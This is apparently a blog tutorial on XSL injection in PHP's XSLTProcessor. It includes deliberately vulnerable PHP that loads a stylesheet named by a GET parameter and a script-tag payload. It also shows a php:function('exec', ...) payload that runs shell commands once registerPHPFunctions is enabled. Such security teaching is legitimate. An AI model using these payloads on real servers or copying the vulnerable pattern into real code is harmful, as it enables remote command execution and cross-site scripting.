I’ve long wanted to introduce this method but never got round to it really. To start off, this writing will discuss some not so common vulnerabilities caused by file and vector transformations by the XSLT processor. So to say, XSL is generally CSS for XML. Acunetix describes this as XSL injection. Before we get to anything in specific, enable the php_xsl extension on Apache (if you’re using it). I’ll be describing the following methods of transformation:
[list]
[] XSLTProcessor::__construct
- create an XSLTP object
[] XSLTProcessor::transformToXML
- transforming XSL to XML
[] XSLTProcessor::ImportStyleSheet
- importing style sheets
[] XSLTProcessor::registerPHPFunctions
- self-explanatory
[/list]
Some of the basic XSLT elements which apply in these occasions and generally as well:
<xsl:template>
<xsl:value-of>
<xsl:sort>
<xsl:choose>
The tags speak for themselves but if you need further reference read up on w3.org. Let’s get this going now with a few examples.
We’ll start with the magic method __construct.
<?php
$doc = new DOMDocument();
$xsl = new XSLTProcessor();
$doc->load('styles.xml');
$xsl->importStyleSheet($doc);
echo $xsl->transformToXML($doc);
We created the instances for the DOM and the processor, afterwards we load the XML to be converted and echo out the result. Here is the XML structure that we load. We’ll be using it for the rest of the examples so I won’t be copying it all the time.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
In other occasions we would be specifying the XML through a form or including it locally but since there is no need of similar things since we just want to present the vulnerability; ain’t nothing more fancy. So far executions are only limited to client-sided exploitation. Now let’s look at the registerPHPFunctions example.
The function enables us to use PHP alike functions as XSLT ones. However, they obey certain syntax which is the following:
php:function('function name','command')
<?php
$doc = new DOMDocument();
$xsl = new XSLTProcessor();
$xsl->registerPHPFunctions(); // Enable the function
$doc->load('styles.xml'); // We reuse the variable though it's not practical
$xsl->importStyleSheet($doc);
echo $xsl->transformToXML($doc);
Now we can pretty much run any command unless the second restrict parameter has been used to disallow certain functions. Let’s take the following XSL for instance:
<xsl:value-of select="php:function('exec','netstat /')"/>
Buried within our styles.xml, the above outputs the following on my box in specific:
TCP 192.168.0.100:65521 oa-in-fl20:https ESTABLISHED
The functions expects a single parameter that needs be an object (DOM or SimpleXMLElement). I think it’s needless to speak of the functionality of the function; it’s more than self-explanatory.
<?php
$XSLT = new XSLTProcessor();
$XML = new DOMDocument();
$XSL = new DomDocument();
$XSL->load($_GET['file']);
$XSLT->importStyleSheet($XSL);
print $XSLT->transformToXML($XML);
Supplying the file through the $_GET parameter is the same as pointing it out in the code itself so nothing really to be surprised of.
..XSLT.php?file=styles.xsl
As I mentioned earlier, this is not something to be encountered as often but rare != useless. Hope somebody finds this useful. For any further readings check out the PHP docs and an extra representation of the method here the hidden dangers of XSLTProcessor – Remote XSL injection.